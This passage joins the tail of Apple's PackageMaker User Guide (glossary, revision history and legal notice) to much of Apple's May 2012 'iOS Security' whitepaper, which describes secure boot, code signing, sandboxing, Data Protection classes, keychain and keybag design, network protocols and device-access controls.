referencesthat contain components of the product.
package requirement A test that determines
whether a package can be installed on the computer.
A package requirement can be optional; such
requirements display a warning to the user but
allows the install to proceed. Non-optional
requirements prevent an install from taking place.
package version number Positive integer that
identifies an iteration of a single-component product
package, or an iteration of a component package
within a product package. This version number
should be incremented when the contents or
installation details of the package are changed. See
also product package component package.
payload The product or product components
contained in an installation package. See also
installation package.
product component Self-contained part of a
product. A product can have one or more
components. The OS X file system contains special
locations for several types of components. For
example, application binaries are placed in
Application directories, plug-ins are housed in
Plugin directories, fonts live in Fonts directories,
and so on.
product package Installation package that contains
all the components of a product. Product packages
with multicomponent products contain or reference
component packages. See also installation package.
product package editor A pane in a PackageMaker
project window that specifies packaging and
installation information about a product. This pane
is displayed when the product package is selected
in the package list.
provider identifier Identifier for the entity
responsible for the contents of an installation
package; for example, com.apple. PackageMaker
uses this identifier to generate default package
identifiers for a product package’s components. See
also package identifier.
relocatable component A product component,
such as an application binary or a plug-in, that the
user may move after it has been installed.
target OS version The earliest release of OS X in
which the installation package isto be installed. The
package is installable on the specified release and
later. For example, a package whose target OS is OS
X v10.4 can be installed on computers running OS
X v10.4 and later releases.
volume requirement A test that comparesthe value
of a volume property (such as free space) with a
value. Volume requirements determine whether the
user can choose a particular volume as the
destination volume of a product package.
Glossary
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
23This table describes the changes to PackageMaker User Guide .
Date Notes
2012-02-16 Updated download location.
2009-01-06 Made minor technical corrections.
New document that describes how to use PackageMaker to create
installation packages.
2007-07-23
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
24
Document Revision HistoryApple Inc.
© 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Finder, Mac, OS X, and
Xcode are trademarks of Apple Inc., registered in
the U.S. and other countries.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
iOS Security
May 20122
Page 3 Introduction
Page 4 System Architecture
Secure Boot Chain
System Software Personalization
App Code Signing
Runtime Process Security
Page 7 Encryption and Data Protection
Hardware Security Features
File Data Protection
Passcodes
Classes
Keychain Data Protection
Keybags
Page 13 Network Security
SSL, TLS
VPN
Wi-Fi
Bluetooth
Page 15 Device Access
Passcode Protection
Configuration Enforcement
Mobile Device Management
Device Restrictions
Remote Wipe
Page 18 Conclusion
A Commitment to Security
Page 19 Glossary
ContentsApple designed the iOS platform with security at its core. Keeping information secure
on mobile devices is critical for any user, whether they’re accessing corporate and customer
information or storing personal photos, banking information, and addresses. Because
every user’s information is important, iOS devices are built to maintain a high level of
security without compromising the user experience.
iOS devices provide stringent security technology and features, and yet also are easy to
use. The devices are designed to make security as transparent as possible. Many security
features are enabled by default, so IT departments don’t need to perform extensive
configurations. And some key features, like device encryption, are not configurable, so
users cannot disable them by mistake.
For organizations considering the security of iOS devices, it is helpful to understand
how the built-in security features work together to provide a secure mobile computing
platform.
iPhone, iPad, and iPod touch are designed with layers of security. Low-level hardware
and firmware features protect against malware and viruses, while high-level OS features
allow secure access to personal information and corporate data, prevent unauthorized
use, and help thwart attacks.
The iOS security model protects information while still enabling mobile use, third-party
apps, and syncing. Much of the system is based on industry-standard secure design
principles—and in many cases, Apple has done additional design work to enhance
security without compromising usability.
This document provides details about how security technology and features are
implemented within the iOS platform. It also outlines key elements that organizations
should understand when evaluating or deploying iOS devices on their networks.
• System architecture: The secure platform and hardware foundations of iPhone, iPad,
and iPod touch.
• Encryption and Data Protection: The architecture and design that protects the user’s
data when the device is lost or stolen, or when an unauthorized person attempts to
use or modify it.
• Network security: Industry-standard networking protocols that provide secure
authentication and encryption of data in transmission.
• Device access: Methods that prevent unauthorized use of the device and enable it
to be remotely wiped if lost or stolen.
iOS is based on the same core technologies as OS X, and benefits from years of
hardening and security development. The continued enhancements and additional
security features with each major release of iOS have allowed IT departments in
businesses worldwide to rapidly adopt and support iOS devices on their networks.
Device Key
Group Key
Apple Root Certificate
Crypto Engine
Kernel
OS Partition
User Partition
Data Protection Class
App Sandbox
Encrypted File System
Software
Hardware and
Firmware
Introduction
3
Security architecture diagram of iOS provides
a visual overview of the different technologies
discussed in this document.Entering DFU mode
DFU mode can be entered manually by
connecting the device to a computer using
the 30-pin Dock Connector to USB Cable,
then holding down both the Home and
Sleep/Wake buttons. After 8 seconds have
elapsed, release the Sleep/Wake button while
continuing to hold down the Home button.
Note: Nothing will be displayed on the screen
when in DFU mode. If the Apple logo appears,
the Sleep/Wake button was held down for too
long. Restoring a device after entering DFU
mode returns it to a known good state with
the certainty that only unmodified Applesigned code is present.
4
The tight integration of hardware and software on iOS devices allows for the validation
of activities across all layers of the device. From initial boot-up to iOS software installation
and through to third-party apps, each step is analyzed and vetted to ensure that each
activity is trusted and uses resources properly.
Once the system is running, this integrated security architecture depends on the integrity
and trustworthiness of XNU, the iOS kernel. XNU enforces security features at runtime
and is essential to being able to trust higher-level functions and apps.
Secure Boot Chain
Each step of the boot-up process contains components that are cryptographically
signed by Apple to ensure integrity, and proceeds only after verifying the chain of
trust. This includes the bootloaders, kernel, kernel extensions, and baseband firmware.
When an iOS device is turned on, its application processor immediately executes code
from read-only memory known as the Boot ROM. This immutable code is laid down
during chip fabrication, and is implicitly trusted. The Boot ROM code contains the Apple
Root CA public key, which is used to verify that the Low-Level Bootloader (LLB) is signed
by Apple before allowing it to load. This is the first step in the chain of trust where each
step ensures that the next is signed by Apple. When the LLB finishes its tasks, it verifies
and runs the next-stage bootloader, iBoot, which in turn verifies and runs the iOS kernel.
This secure boot chain ensures that the lowest levels of software are not tampered
with, and allows iOS to run only on validated Apple devices.
If one step of this boot process is unable to load or verify the next, boot-up is stopped
and the device displays the “Connect to iTunes” screen. This is called recovery mode.
If the Boot ROM is not even able to load or verify LLB, it enters DFU (Device Firmware
Upgrade) mode. In both cases, the device must be connected to iTunes via USB and
restored to factory default settings. For more information on manually entering recovery
mode, see http://support.apple.com/kb/HT1808.
System Software Personalization
Apple regularly releases software updates to address emerging security concerns; these
updates are provided for all supported devices simultaneously. Users receive iOS update
notifications on the device and through iTunes, and updates are delivered wirelessly,
encouraging rapid adoption of the latest security fixes.
The boot process described above ensures that only Apple-signed code can be installed
on a device. To prevent devices from being downgraded to older versions that lack the
latest security updates, iOS uses a process called System Software Personalization. If
downgrades were possible, an attacker who gains possession of a device could install an
older version of iOS and exploit a vulnerability that’s been fixed in the newer version.
System Architecture5
iOS software updates can be installed using iTunes or over-the-air (OTA) on the device.
With iTunes, a full copy of iOS is downloaded and installed. OTA software updates are
provided as deltas for network efficiency.
During an iOS install or upgrade, iTunes (or the device itself, in the case of OTA software
updates) connects to the Apple installation authorization server (gs.apple.com) and
sends it a list of cryptographic measurements for each part of the installation bundle
to be installed (for example LLB, iBoot, the kernel, and OS image), a random anti-replay
value (nonce), and the device’s unique ID (ECID).
The server checks the presented list of measurements against versions for which
installation is permitted, and if a match is found, adds the ECID to the measurement
and signs the result. The complete set of signed data from the server is passed to
the device as part of the install or upgrade process. Adding the ECID “personalizes”
the authorization for the requesting device. By authorizing and signing only for known
measurements, the server ensures that the update is exactly as provided by Apple.
The boot-time chain-of-trust evaluation verifies that the signature comes from Apple
and that the measurement of the item loaded from disk, combined with the device’s
ECID, matches what was covered by the signature.
These steps ensure that the authorization is for a specific device and that an old iOS
version from one device can’t be copied to another. The nonce prevents an attacker from
saving the server’s response and using it to downgrade a user’s device in the future.
App Code Signing
Once the iOS kernel has booted, it controls which user processes and apps can be run.
To ensure that all apps come from a known and approved source and have not been
tampered with, iOS requires that all executable code be signed using an Apple-issued
certificate. Apps provided with the device, like Mail and Safari, are signed by Apple.
Third-party apps must also be validated and signed using an Apple-issued certificate.
Mandatory code signing extends the concept of chain of trust from the OS to apps,
and prevents third-party apps from loading unsigned code resources or using selfmodifying code.
In order to develop and install apps on iOS devices, developers must register with
Apple and join the iOS Developer Program. The real-world identity of each developer,
whether an individual or a business, is verified by Apple before their certificate is
issued. This certificate enables developers to sign apps and submit them to the App
Store for distribution. As a result, all apps in the App Store have been submitted by an
identifiable person or organization, serving as a deterrent to the creation of malicious
apps. They have also been reviewed by Apple to ensure they operate as described
and don’t contain obvious bugs or other problems. In addition to the technology
already discussed, this curation process gives customers confidence in the quality of
the apps they buy.
Businesses also have the ability to write in-house apps for use within their organization
and distribute them to their employees. Businesses and organizations can apply to
the iOS Developer Enterprise Program (iDEP) with a D-U-N-S number. Apple approves
applicants after verifying their identity and eligibility. Once an organization becomes a
member of iDEP, it can register to obtain a provisioning profile that permits in-house
apps to run on devices it authorizes. Users must have the provisioning profile installed
in order to run the in-house apps. This ensures that only the organization’s intended
users are able to load the apps onto their iOS devices.6
Unlike other mobile platforms, iOS does not allow users to install potentially malicious
unsigned apps from websites, or run untrusted code. At runtime, code signature checks
of all executable memory pages are made as they are loaded to ensure that an app
has not been modified since it was installed or last updated.
Runtime Process Security
Once an app is verified to be from an approved source, iOS enforces security measures
to ensure that it can’t compromise other apps or the rest of the system.
All third-party apps are “sandboxed,” so they are restricted from accessing files stored
by other apps or from making changes to the device. This prevents apps from gathering
or modifying information stored by other apps. Each app has a unique home directory
for its files, which is randomly assigned when the app is installed. If a third-party app
needs to access information other than its own, it does so only by using application
programming interfaces (APIs) and services provided by iOS.
System files and resources are also shielded from the user’s apps. The majority of
iOS runs as the non-privileged user “mobile,” as do all third-party apps. The entire OS
partition is mounted read-only. Unnecessary tools, such as remote login services, aren’t
included in the system software, and APIs do not allow apps to escalate their own
privileges to modify other apps or iOS itself.
Access by third-party apps to user information and features such as iCloud is controlled
using declared entitlements. Entitlements are key/value pairs that are signed in to an
app and allow authentication beyond runtime factors like unix user ID. Since entitlements are digitally signed, they cannot be changed. Entitlements are used extensively
by system apps and daemons to perform specific privileged operations that would
otherwise require the process to run as root. This greatly reduces the potential for
privilege escalation by a compromised system application or daemon.
In addition, apps can only perform background processing through system-provided
APIs. This enables apps to continue to function without degrading performance or
dramatically impacting battery life. Apps can’t share data directly with each other;
sharing can be implemented only by both the receiving and sending apps using
custom URL schemes, or through shared keychain access groups.
Address space layout randomization (ASLR) protects against the exploitation of memory
corruption bugs. Built-in apps use ASLR to ensure that all memory regions are randomized upon launch. Additionally, system shared library locations are randomized at each
device startup. Xcode, the iOS development environment, automatically compiles
third-party programs with ASLR support turned on.
Further protection is provided by iOS using ARM’s Execute Never (XN) feature, which
marks memory pages as non-executable. Memory pages marked as both writable and
executable can be used only by apps under tightly controlled conditions: The kernel
checks for the presence of the Apple-only “dynamic-codesigning” entitlement. Even
then, only a single mmap call can be made to request an executable and writable page,
which is given a randomized address. Safari uses this functionality for its JavaScript
JIT compiler.7
The secure boot chain, code signing, and runtime process security all help to ensure
that only trusted code and apps can run on a device. iOS has additional security features
to protect user data, even in cases where other parts of the security infrastructure have
been compromised (for example, on a device with unauthorized modifications). Like
the system architecture itself, these encryption and data protection capabilities use layers
of integrated hardware and software technologies.
Hardware Security Features
On mobile devices, speed and power efficiency are critical. Cryptographic operations
are complex and can introduce performance or battery life problems if not designed
and implemented correctly.
Every iOS device has a dedicated AES 256 crypto engine built into the DMA path
between the flash storage and main system memory, making file encryption highly
efficient. Along with the AES engine, SHA-1 is implemented in hardware, further reducing
cryptographic operation overhead.
The device’s unique ID (UID) and a device group ID (GID) are AES 256-bit keys fused
into the application processor during manufacturing. No software or firmware can
read them directly; they can see only the results of encryption or decryption operations performed using them. The UID is unique to each device and is not recorded by
Apple or any of its suppliers. The GID is common to all processors in a class of devices
(for example, all devices using the Apple A5 chip), and is used as an additional level of
protection when delivering system software during installation and restore. Burning
these keys into the silicon prevents them from being tampered with or bypassed, and
guarantees that they can be accessed only by the AES engine.
The UID allows data to be cryptographically tied to a particular device. For example,
the key hierarchy protecting the file system includes the UID, so if the memory chips
are physically moved from one device to another, the files are inaccessible. The UID is
not related to any other identifier on the device.
Apart from the UID and GID, all other cryptographic keys are created by the system’s
random number generator (RNG) using an algorithm based on Yarrow. System entropy
is gathered from interrupt timing during boot, and additionally from internal sensors
once the device has booted.
Securely erasing saved keys is just as important as generating them. It’s especially
challenging to do so on flash storage, where wear-leveling might mean multiple
copies of data need to be erased. To address this issue, iOS devices include a feature
dedicated to secure data erasure called Effaceable Storage. This feature accesses the
underlying storage technology (for example, NAND) to directly address and erase a
small number of blocks at a very low level.
Encryption and Data
ProtectionErase all content and settings
The “Erase all content and settings” option in
Settings obliterates all the keys in Effaceable
Storage, rendering all user data on the device
cryptographically inaccessible. Therefore, it’s
an ideal way to be sure all personal information is removed from a device before giving
it to somebody else or returning it for service.
Important: Do not use the “Erase all content
and settings” option until the device has been
backed up, as there is no way to recover the
erased data.
8
File Data Protection
In addition to the hardware encryption features built into iOS devices, Apple uses
a technology called Data Protection to further protect data stored in flash memory
on the device. This technology is designed with mobile devices in mind, taking into
account the fact that they may always be turned on and connected to the Internet,
and may receive phone calls, text, or emails at any time.
Data Protection allows a device to respond to events such as incoming phone calls
without decrypting sensitive data and downloading new information while locked.
These individual behaviors are controlled on a per-file basis by assigning each file to
a class, as described in the Classes section later in document.
Data Protection protects the data in each class based on when the data needs to be
accessed. Accessibility is determined by whether the class keys have been unlocked.
Data Protection is implemented by constructing and managing a hierarchy of keys,
and builds on the hardware encryption technologies previously described.
Architecture overview
Every time a file on the data partition is created, Data Protection creates a new 256-bit
key (the “per-file” key) and gives it to the hardware AES engine, which uses the key to
encrypt the file as it is written to flash memory using AES CBC mode. The initialization
vector (IV) is the output of a linear feedback shift register (LFSR) calculated with the
block offset into the file, encrypted with the SHA-1 hash of the per-file key.
The per-file key is wrapped with one of several class keys, depending on the circumstances under which the file should be accessible. Like all other wrappings, this is
performed using NIST AES key wrapping, per RFC 3394. The wrapped per-file key is
stored in the file’s metadata.
When a file is opened, its metadata is decrypted with the file system key, revealing
the wrapped per-file key and a notation on which class protects it. The per-file key
is unwrapped with the class key, then supplied to the hardware AES engine, which
decrypts the file as it is read from flash memory.
The metadata of all files in the file system are encrypted with a random key, which is
created when iOS is first installed or when the device is wiped by a user. The file system
key is stored in Effaceable Storage. Since it’s stored on the device, this key is not used
to maintain the confidentiality of data; instead, it’s designed to be quickly erased on
demand (by the user, with the “Erase all content and settings” option, or by a user or
administrator issuing a remote wipe command from a Mobile Device Management
server, Exchange ActiveSync, or iCloud). Erasing the key in this manner renders all files
cryptographically inaccessible.Passcode considerations
If a long password that contains only
numbers is entered, a numeric keypad
is displayed at the Lock screen instead
of the full keyboard. A longer numeric
passcode may be easier to enter than a
shorter alphanumeric passcode, while
providing similar security.
Creating strong Apple ID passwords
Apple IDs are used to connect to a number
of services including iCloud, FaceTime, and
iMessage. To help users create strong
passwords, all new accounts must contain
the following password attributes:
• At least eight characters
• At least one letter
• At least one uppercase letter
• At least one number
• No more than three consecutive
identical characters
• Not the same as the account name
9
File Contents
File Metadata
File Key
File System Key
Class Key
User Passcode
Device UID
The content of a file is encrypted with a per-file key, which is wrapped with a class key
and stored in a file’s metadata, which is in turn encrypted with the file system key. The
class key is protected with the hardware UID and, for some classes, the user’s passcode.
This hierarchy provides both flexibility and performance. For example, changing a file’s
class only requires rewrapping its per-file key, and a change of passcode just rewraps
the class key.
Passcodes
By setting up a device passcode, the user automatically enables Data Protection.
iOS supports four-digit and arbitrary-length alphanumeric passcodes. In addition to
unlocking the device, a passcode provides the entropy for encryption keys, which are
not stored on the device. This means an attacker in possession of a device can’t get
access to data in certain protection classes without the passcode.
The passcode is “tangled” with the device’s UID, so brute-force attempts must be
performed on the device under attack. A large iteration count is used to make each
attempt slower. The iteration count is calibrated so that one attempt takes approximately
80 milliseconds. This means it would take more than 5½ years to try all combinations
of a six-character alphanumeric passcode with lowercase letters and numbers, or
2½ years for a nine-digit passcode with numbers only.
To further discourage brute-force passcode attacks, the iOS interface enforces escalating
time delays after the entry of an invalid passcode at the Lock screen. Users can choose
to have the device automatically wiped after 10 failed passcode attempts. This setting is
also available as an administrative policy through Mobile Device Management (MDM)
and Exchange ActiveSync, and can also be set to a lower threshold.10
Classes
When a new file is created on an iOS device, it’s assigned a class by the app that creates
it. Each class uses different policies to determine when the data is accessible. The basic
classes and policies are as follows:
Complete Protection
(NSFileProtectionComplete): The class key is protected with a key derived from the
user passcode and the device UID. Shortly after the user locks a device (10 seconds,
if the Require Password setting is Immediately), the decrypted class key is discarded,
rendering all data in this class inaccessible until the user enters the passcode again.
The Mail app implements Complete Protection for messages and attachments. App
launch images and location data are also stored with Complete Protection.
Protected Unless Open
(NSFileProtectionCompleteUnlessOpen): Some files may need to be written while
the device is locked. A good example of this is a mail attachment downloading in the
background. This behavior is achieved by using asymmetric elliptic curve cryptography
(ECDH over Curve25519). Along with the usual per-file key, Data Protection generates
a file public/private key pair. A shared secret is computed using the file’s private key
and the Protected Unless Open class public key, whose corresponding private key is
protected with the user’s passcode and the device UID. The per-file key is wrapped
with the hash of this shared secret and stored in the file’s metadata along with the
file’s public key; the corresponding private key is then wiped from memory. As soon
as the file is closed, the per-file key is also wiped from memory. To open the file again,
the shared secret is re-created using the Protected Unless Open class’s private key and
the file’s ephemeral public key; its hash is used to unwrap the per-file key, which is
then used to decrypt the file.
Protected Until First User Authentication
(NSFileProtectionCompleteUntilFirstUserAuthentication): This class behaves in
the same way as Complete Protection, except that the decrypted class key is not
removed from memory when the device is locked. The protection in this class has
similar properties to desktop full-disk encryption, and protects data from attacks
that involve a reboot.
No Protection
(NSFileProtectionNone): This class key is protected only with the UID, and is kept
in Effaceable Storage. This is the default class for all files not otherwise assigned to a
Data Protection class. Since all the keys needed to decrypt files in this class are stored
on the device, the encryption only affords the benefit of fast remote wipe. If a file is
not assigned a Data Protection class, it is still stored in encrypted form (as is all data
on an iOS device).
The iOS Software Development Kit (SDK) offers a full suite of APIs that make it easy for
third-party and in-house developers to adopt Data Protection and ensure the highest
level of protection in their apps. Data Protection is available for file and database APIs,
including NSFileManager, CoreData, NSData, and SQLite.Components of a keychain item
Along with the access group, each keychain
item contains administrative metadata (such
as “created” and “last updated” time stamps).
It also contains SHA-1 hashes of the attributes
used to query for the item (such as the
account and server name) to allow lookup
without decrypting each item. And finally, it
contains the encryption data, which includes
the following:
• Version number
• Value indicating which protection class
the item is in
• Per-item key wrapped with the protection
class key
• Dictionary of attributes describing the
item (as passed to SecItemAdd), encoded
as a binary plist and encrypted with the
per-item key
The encryption is AES 128 in GCM (Galois/
Counter Mode); the access group is included
in the attributes and protected by the GMAC
tag calculated during encryption.
11
Keychain Data Protection
Many apps need to handle passwords and other short but sensitive bits of data, such
as keys and login tokens. The iOS keychain provides a secure way to store these items.
The keychain is implemented as a SQLite database stored on the file system in the
No Protection class, while its security is provided by a different key hierarchy that
runs parallel to the key hierarchy used to protect files. There is only one database;
the securityd daemon determines which keychain items each process or app can
access. Keychain access APIs result in calls to the securityd framework, which queries
the app’s “keychain-access-groups” and the “application-identifier” entitlement. Rather
than limiting access to a single process, access groups allow keychain items to be
shared between apps.
Keychain items can only be shared between apps from the same developer. This is
managed by requiring third-party apps to use access groups with a prefix allocated to
them through the iOS Developer Program. The prefix requirement is enforced through
code signing and provisioning profiles.
Keychain data is protected using a class structure similar to the one used in file Data
Protection. These classes have behaviors equivalent to file Data Protection classes, but
use distinct keys and are part of APIs that are named differently.
Availability File Data Protection Keychain Data Protection
When unlocked NSFileProtectionComplete kSecAttrAccessibleWhenUnlocked
While locked NSFileProtectionCompleteUnlessOpen N/A
After first unlock NSFileProtectionCompleteUntilFirstUserAuthentication kSecAttrAccessibleAfterFirstUnlock
Always NSFileProtectionNone kSecAttrAccessibleAlways
Each keychain class has a “This device only” counterpart, which is always protected
with the UID when being copied from the device during a backup, rendering it useless
if restored to a different device.
Apple has carefully balanced security and usability by choosing keychain classes that
depend on the type of information being secured and when it’s needed by the OS.
For example, a VPN certificate must always be available so the device keeps a continuous
connection, but it’s classified as “non-migratory,” so it can’t be moved to another device.
For keychain items created by iOS, the following class protections are enforced:
Item Accessible
Wi-Fi passwords After first unlock
Mail accounts After first unlock
Exchange accounts After first unlock
VPN certificates Always, non-migratory
VPN passwords After first unlock
LDAP, CalDAV, CardDAV After first unlock
iTunes backup When unlocked, non-migratory
Voicemail Always
Safari passwords When unlocked
Bluetooth keys Always, non-migratory
Apple Push Notification Service Token Always, non-migratory
iCloud certificates and private key Always, non-migratory
iMessage keys Always, non-migratory
Certificates and private keys installed by Configuration Profile Always, non-migratory
SIM PIN Always, non-migratoryComponents of a keybag
A header containing:
• Version (set to 3 in iOS 5)
• Type (System, Backup, Escrow, or iCloud
Backup)
• Keybag UUID
• An HMAC if the keybag is signed
• The method used for wrapping the class
keys: tangling with the UID or PBKDF2,
along with the salt and iteration count
A list of class keys:
• Key UUID
• Class (which file or keychain Data Protection
class this is)
• Wrapping type (UID-derived key only;
UID-derived key and passcode-derived key)
• Wrapped class key
• Public key for asymmetric classes
12
Keybags
The keys for both file and keychain Data Protection classes are collected and
managed in keybags. iOS uses the following four keybags: System, Backup, Escrow,
and iCloud Backup.
System keybag is where the wrapped class keys used in normal operation of the
device are stored. For example, when a passcode is entered, the NSFileProtectionComplete
key is loaded from the system keychain and unwrapped. It is a binary plist stored
in the No Protection class, but whose contents are encrypted with a key held in
Effaceable Storage. In order to give forward security to keybags, this key is wiped
and regenerated each time a user changes a passcode. The System keybag is the
only keybag stored on the device. The AppleKeyStore kernel extension manages the
System keybag, and can be queried regarding a device’s lock state. It reports that the
device is unlocked only if all the class keys in the System are accessible, having been
unwrapped successfully.
Backup keybag is created when an encrypted backup is made by iTunes and stored
on the computer to which the device is backed up. A new keybag is created with
a new set of keys, and the backed-up data is re-encrypted to these new keys. As
explained earlier, non-migratory keychain items remain wrapped with the UID-derived
key, allowing them to be restored to the device they were originally backed up from,
but rendering them inaccessible on a different device.
The keybag is protected with the password set in iTunes, run through 10,000 iterations
of PBKDF2. Despite this large iteration count, there’s no tie to a specific device, and
therefore a brute-force attack parallelized across many computers can be attempted
on the backup keybag. This threat can be mitigated with a sufficiently strong password.
If a user chooses to not encrypt an iTunes backup, the backup files are not encrypted
regardless of their Data Protection class, but the keychain remains protected with a
UID-derived key. This is why keychain items migrate to a new device only if a backup
password is set.
Escrow keybag is used for iTunes syncing and Mobile Device Management (MDM).
This keybag allows iTunes to back up and sync without requiring the user to enter a
passcode, and it allows an MDM server to remotely clear a user’s passcode. It is stored
on the computer that’s used to sync with iTunes, or on the MDM server that manages
the device.
The Escrow keybag improves the user experience during device synchronization,
which potentially requires access to all classes of data. When a passcode-locked device
is first connected to iTunes, the user is prompted to enter a passcode. The device
then creates an Escrow keybag and passes it to the host. The Escrow keybag contains
exactly the same class keys used on the device, protected by a newly generated key.
This key is needed to unlock the Escrow keybag, and is stored on the device in the
Protected Until First User Authentication class. This is why the device passcode must
be entered before backing up with iTunes for the first time after a reboot.
iCloud Backup keybag is similar to the Backup keybag. All the class keys in this keybag
are asymmetric (using Curve25519, like the Protected Unless Open Data Protection class),
so iCloud backups can be performed in the background. For all Data Protection classes
except No Protection, the encrypted data is read from the device and sent to iCloud.
The corresponding class keys are protected by iCloud keys. The keychain class keys are
wrapped with a UID-derived key in the same way as an unencrypted iTunes backup. 13
In addition to the measures Apple has taken to protect data stored on iOS devices,
there are many network security measures that organizations can take to safeguard
information as it travels to and from an iOS device.
Mobile users must be able to access corporate information networks from anywhere
in the world, so it’s important to ensure they are authorized and that their data is
protected during transmission. iOS uses—and provides developer access to—standard
networking protocols for authenticated, authorized, and encrypted communications.
iOS provides proven technologies and the latest standards to accomplish these security
objectives for both Wi-Fi and cellular data network connections.
On other platforms, firewall software is needed to protect numerous open communication
ports against intrusion. Because iOS achieves a reduced attack surface by limiting listening
ports and removing unnecessary network utilities such as telnet, shells, or a web server,
it doesn’t need firewall software. Additionally, communication using iMessage, FaceTime,
and the Apple Push Notification Server is fully encrypted and authenticated.
SSL, TLS
iOS supports Secure Socket Layer (SSL v3) as well as Transport Layer Security (TLS v1.1,
TLS v1.2) and DTLS. Safari, Calendar, Mail, and other Internet applications automatically
use these mechanisms to enable an encrypted communication channel between the
device and network services. High-level APIs (such as CFNetwork) make it easy for
developers to adopt TLS in their apps, while low-level APIs (SecureTransport) provide
fine-grained control.
VPN
Secure network services like virtual private networking typically require minimal setup
and configuration to work with iOS devices. iOS devices work with VPN servers that
support the following protocols and authentication methods:
• Juniper Networks, Cisco, Aruba Networks, SonicWALL, Check Point, and F5 Networks
SSL-VPN using the appropriate client app from the App Store. These apps provide user
authentication for the built-in iOS support.
• Cisco IPSec with user authentication by Password, RSA SecurID or Cryptocard, and
machine authentication by shared secret and certificates. Cisco IPSec supports VPN
On Demand for domains that are specified during device configuration.
• L2TP/IPSec with user authentication by MS-CHAPV2 Password, RSA SecurID or
Cryptocard, and machine authentication by shared secret.
• PPTP with user authentication by MS-CHAPV2 Password and RSA SecurID or Cryptocard.
Network Security14
iOS supports VPN On Demand for networks that use certificated-based authentication.
IT policies specify which domains require a VPN connection by using a configuration
profile.
For more information on VPN server configuration for iOS devices, see
http://help.apple.com/iosdeployment-vpn/.
Wi-Fi
iOS supports industry-standard Wi-Fi protocols, including WPA2 Enterprise, to provide
authenticated access to wireless corporate networks. WPA2 Enterprise uses 128-bit
AES encryption, giving users the highest level of assurance that their data remains
protected when sending and receiving communications over a Wi-Fi network
connection. With support for 802.1X, iOS devices can be integrated into a broad
range of RADIUS authentication environments. 802.1X wireless authentication
methods supported on iPhone and iPad include EAP-TLS, EAP-TTLS, EAP-FAST,
EAP-SIM, PEAPv0, PEAPv1, and LEAP.
Bluetooth
Bluetooth support in iOS has been designed to provide useful functionality without
unnecessary increased access to private data. iOS devices support Encryption Mode 3,
Security Mode 4, and Service Level 1 connections. iOS supports the following Bluetooth
profiles:
• Hands-Free Profile (HFP 1.5)
• Phone Book Access Profile (PBAP)
• Advanced Audio Distribution Profile (A2DP)
• Audio/Video Remote Control Profile (AVRCP)
• Personal Area Network Profile (PAN)
• Human Interface Device Profile (HID)
Support for these profiles varies by device. For more information, see
http://support.apple.com/kb/ht3647.15
iOS supports flexible security policies and configurations that are easily enforced and
managed. This enables enterprises to protect corporate information and ensure that
employees meet enterprise requirements, even if they are using devices they’ve
provided themselves.
Passcode Protection
In addition to providing the cryptographic protection discussed earlier, passcodes
prevent unauthorized access to the device’s UI. The iOS interface enforces escalating
time delays after the entry of an invalid passcode, dramatically reducing the effectiveness of brute force attacks via the Lock screen. Users can choose to have the device
automatically wiped after 10 failed passcode attempts. This setting is available as an
administrative policy and can also be set to a lower threshold through MDM and
Exchange ActiveSync.
By default, the user’s passcode can be defined as a four-digit PIN. Users can specify a
longer, alphanumeric passcode by turning on Settings > General > Passcode > Complex
Passcode. Longer and more complex passcodes are harder to guess or attack, and are
recommended for enterprise use.
Administrators can enforce complex passcode requirements and other policies using
MDM or Exchange ActiveSync, or by requiring users to manually install configuration
profiles. The following passcode policies are available:
• Allow simple value
• Require alphanumeric value
• Minimum passcode length
• Minimum number of complex characters
• Maximum passcode age
• Passcode history
• Auto-lock timeout
• Grace period for device lock
• Maximum number of failed attempts
For details about each policy, see the iPhone Configuration Utility documentation at
http://help.apple.com/iosdeployment-ipcu/.
Configuration Enforcement
A configuration profile is an XML file that allows an administrator to distribute configuration information to iOS devices. Settings that are defined by an installed configuration
profile can’t be changed by the user. If the user deletes a configuration profile, all the
settings defined by the profile are also removed. In this manner, administrators can
Device Access16
enforce settings by tying policies to access. For example, a configuration profile that
provides an email configuration can also specify a device passcode policy. Users won’t
be able to access mail unless their passcodes meet the administrator’s requirements.
An iOS configuration profile contains a number of settings that can be specified:
• Passcode policies
• Restrictions on device features (disabling the camera, for example)
• Wi-Fi settings
• VPN settings
• Email server settings
• Exchange settings
• LDAP directory service settings
• CalDAV calendar service settings
• Web clips
• Credentials and keys
• Advanced cellular network settings
Configuration profiles can be signed and encrypted to validate their origin, ensure
their integrity, and protect their contents. Configuration profiles are encrypted using
CMS (RFC 3852), supporting 3DES and AES-128.
Configuration profiles can also be locked to a device to completely prevent their
removal, or to allow removal only with a passcode. Since many enterprise users
personally own their iOS devices, configuration profiles that bind a device to an MDM
server can be removed—but doing so will also remove all managed configuration
information, data, and apps.
Users can install configuration profiles directly on their devices using the iPhone
